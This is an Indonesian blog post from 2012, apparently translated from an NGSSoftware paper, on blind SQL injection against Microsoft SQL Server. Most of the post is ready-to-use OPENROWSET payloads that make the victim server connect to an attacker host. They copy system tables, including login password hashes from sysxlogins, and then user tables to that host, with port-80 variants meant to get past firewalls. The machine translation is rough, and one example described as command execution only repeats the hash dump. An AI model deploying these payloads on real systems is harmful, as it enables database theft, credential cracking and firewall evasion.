10 November 2012

Memanipulasi Microsoft SQL Server menggunakan SQL Injection

Artikel ini tidak akan membahas sintaks dasar SQL atau SQL Injection. Artikel ini saya asumsikan untuk pembaca yang sudah memiliki kuat pemahaman kuat tentang topik ini. Artikel ini akan fokus pada teknik canggih yang dapat digunakan dalam serangan terhadap sebuah aplikasi (web) menggunakan Microsoft SQL Server sebagai backend. Teknik ini menunjukkan bagaimana seorang penyerang bisa menggunakan kerentanan SQL Injection untuk mengambil isi database dari belakang firewall dan menembus jaringan internal. Artikel ini saya dedikasikan  untuk  para profesional keamanan di bidang jaringan dalam memamfaatkan efek dari potensi SQL Injection untuk  menghancurkan suatu organisasi.
Aplikasi web mungkin akan menjadi lebih aman jika meningkatnya kesadaran serangan terhadap SQL Injection. Namun, dalam aplikasi besar dan kompleks, pengawasan tunggal dapat mengakibatkan kelemahan seluruh sistem. Secara khusus, banyak pengembang dan administrator (web) aplikasi mungkin memiliki rasa aman yang palsu karena mereka menggunakan prosedur yang tersimpan atau menutupi suatu pesan kesalahan kembali ke browser. Hal ini dapat menuntun mereka untuk percaya bahwa mereka tidak dapat dikhawatirkan oleh kelemahan ini. Sementara kita membahas Microsoft SQL Server dalam artikel ini, ini adalah cara tidak ada indikasi bahwa setiap Microsoft SQL Server adalah  kurang aman dibandingkan platform database lain seperti Oracle atau IBM DB2. SQL injeksi bukanlah cacat Microsoft SQL Server - juga merupakan masalah bagi setiap database Vendor lainnya juga. Mungkin masalah terbesar dengan Microsoft SQL Server adalah fleksibilitas sistem. Fleksibilitas ini adalah apa yang memungkinkan untuk ditumbangkan sejauh dengan injeksi SQL. Tulisan ini adalah dimaksudkan untuk menunjukkan bahwa setiap saat administrator atau pengembang memungkinkan SQL sewenang-wenang akan dieksekusi, sistem mereka terbuka untuk diexploitasi. Namun Hal ini tidak dimaksudkan untuk menunjukkan bahwa Microsoft SQL Server adalah LEMAH.

  • DETEKSI kerentanan pada  SQL Injection
Banyak pengembang dan administrator web puas kerentanan SQL Injection jika penyerang tidak dapat melihat pesan kesalahan SQL dan / atau tidak dapat mengembalikan hasil query secara langsung ke browser. Topik ini pertama kali dibahas dalam sebuah kertas putih yang ditulis oleh Chris Ansley dari NGSSoftware (http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf). Makalah ini akan memperluas cara yang mungkin ancaman ini dapat digunakan. Ketika mencoba untuk mengeksploitasi SQL Injection dalam aplikasi, penyerang diperlukan suatu metode untuk menentukan jika disuntikkan SQL dijalankan pada server. Selain itu, metode mengambil hasil yang dibutuhkan. Dua built-in fungsi SQL Server dapat digunakan untuk tujuan ini. The OPENROWSET dan opendatasource fungsi memungkinkan pengguna di SQL Server untuk membuka sumber data jarak jauh. Fungsi ini digunakan untuk membuka koneksi ke penyedia OLEDB. The OPENROWSET Fungsi akan digunakan dalam semua contoh tapi fungsi opendatasource dapat digunakan dengan sama hasilnya.

Pernyataan ini akan mengembalikan semua baris dari table1 pada sumber data remote: 

select * from OPENROWSET( 'SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'select * from table1' )

Parameter: 
(1) Nama Provider OLEDB 
(2) Connection string (bisa jadi sumber data OLEDB  atau string koneksi ODBC) 
(3) pernyataan SQL 

Parameter connection string dapat menentukan pilihan lain seperti jaringan perpustakaan untuk menggunakan atau alamat IP dan port yang terhubung. Di bawah ini adalah sebuah contoh. 

select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
'select * from table' ) 

Dalam contoh ini, SQL Server akan menggunakan penyedia SQLOLEDB OLEDB untuk menjalankan SQL Pernyataan. Penyedia OLEDB akan menggunakan SQL Server soket perpustakaan (DBMSSOCN) ke terhubung ke port 1433 pada alamat IP 10.0.0.10 dan akan mengembalikan hasil dari pernyataan SQL ke SQL Server lokal. Para sa login dan h8ck3r sandi akan digunakan untuk otentikasi ke remote data sumber. 
Contoh berikut menunjukkan bagaimana fungsi OPENROWSET dapat digunakan untuk menghubungkan ke IP address sewenang-wenang / pelabuhan termasuk alamat IP sumber dan pelabuhan penyerang. Dalam hal ini nama host hacker adalah hackersip dan versi dari Microsoft SQL Server yang berjalan pada port 80. "Hackersip" bisa diganti dengan alamat IP dan port dapat port hacker akan ingin mengarahkan koneksi ke. 

select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;', 'select * from table')

Dengan menyuntikkan pernyataan SQL, seorang penyerang dapat menentukan apakah pernyataan sedang dieksekusi. Jika SQL berhasil dijalankan, server diserang akan mengeluarkan upaya koneksi outbound ke komputer penyerang pada port tertentu. Hal ini juga mungkin bahwa firewall akan memblokir ini keluar SQL sambungan karena sambungan terjadi melalui port 80. 
Teknik ini memungkinkan penyerang untuk menentukan apakah pernyataan SQL disuntikkan dijalankan bahkan jika kesalahan pesan dan hasil query tidak kembali ke browser

  • Mengambil hasil dari SQL Injection
Fungsi OPENROWSET dan opendatasource yang paling sering digunakan untuk menarik data ke SQL Server untuk dimanipulasi. Namun mereka dapat juga digunakan untuk mendorong data ke remote SQL Server. OPENROWSET dapat digunakan untuk tidak hanya mengeksekusi pernyataan SELECT, tetapi juga untuk mengeksekusi UPDATE, INSERT, dan DELETE laporan tentang sumber data eksternal. Pertunjukan Data manipulasi pada sumber data remote kurang umum dan hanya bekerja jika OLEDB penyedia mendukung fungsi ini. Penyedia SQLOLEDB mendukung semua laporan. 

Di bawah ini adalah contoh mendorong data ke sumber data eksternal: 

insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2
 

Dalam contoh di atas, semua baris di table2 pada SQL Server lokal akan ditambahkan ke dalam table1 remote data sumber. Agar pernyataan untuk mengeksekusi dengan benar dua tabel harus memiliki Struktur yang sama. 
Seperti yang kita pelajari di bagian sebelumnya, remote datasources dapat diarahkan ke server dari penyerang pilihan. Seorang penyerang bisa mengubah pernyataan di atas untuk terhubung ke remote sumber data seperti salinan Microsoft SQL Server berjalan pada mesin penyerang. 

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2
 

Dalam rangka untuk memasukkan ke table1 benar, penyerang harus membuat table1 dengan kolom yang sama dan Data jenis sebagai table2. Informasi ini dapat ditentukan dengan melakukan serangan ini terhadap sistem tabel pertama. Ini bekerja karena struktur tabel sistem yang dikenal. Sebuah penyerang akan mulai dengan membuat tabel dengan nama kolom yang sama dan jenis data sebagai sistem tabel sysdatabases, sysobjects dan syscolumns. Kemudian untuk mengambil informasi yang diperlukan, pernyataan berikut akan dieksekusi: 

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases
 
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns

Setelah menciptakan tabel dalam database, memuat data yang tersisa dari SQL Server sepele. 

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1
 
insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2
 

Dengan menggunakan metode ini, penyerang dapat mengambil isi meja bahkan jika aplikasi tersebut dirancang untuk menyembunyikan pesan kesalahan atau hasil query tidak valid. 
Mengingat hak istimewa yang sesuai, penyerang bisa memuat daftar login dan password hash serta: 

masukkan ke OPENROWSET ('SQLOLEDB', 'Uid = sa, pwd = h8ck3r, Jaringan = DBMSSOCN, Alamat = hackersip, 1433;', 'Pilih * dari _sysxlogins') pilih * dari database.dbo.sysxlogins 

Mendapatkan password hash akan memungkinkan serangan untuk melakukan brute-force pada password. 
Penyerang juga dapat mengeksekusi perintah pada server diserang dan mendapatkan hasil: 

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins
 

Jika firewall dikonfigurasi untuk memblokir semua SQL Server koneksi outbound, penyerang dapat menggunakan salah satu dari beberapa teknik untuk menghindari firewall. Penyerang bisa mengatur alamat untuk mendorong data menggunakan port 80 sehingga muncul menjadi koneksi HTTP. Di bawah ini adalah contoh dari ini Teknik. 

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1
 

Jika outbounds koneksi melalui port 80 diblokir di firewall, penyerang bisa mencoba differents nomor port sampai satu diblokir ditemukan



Tidak ada komentar:

Posting Komentar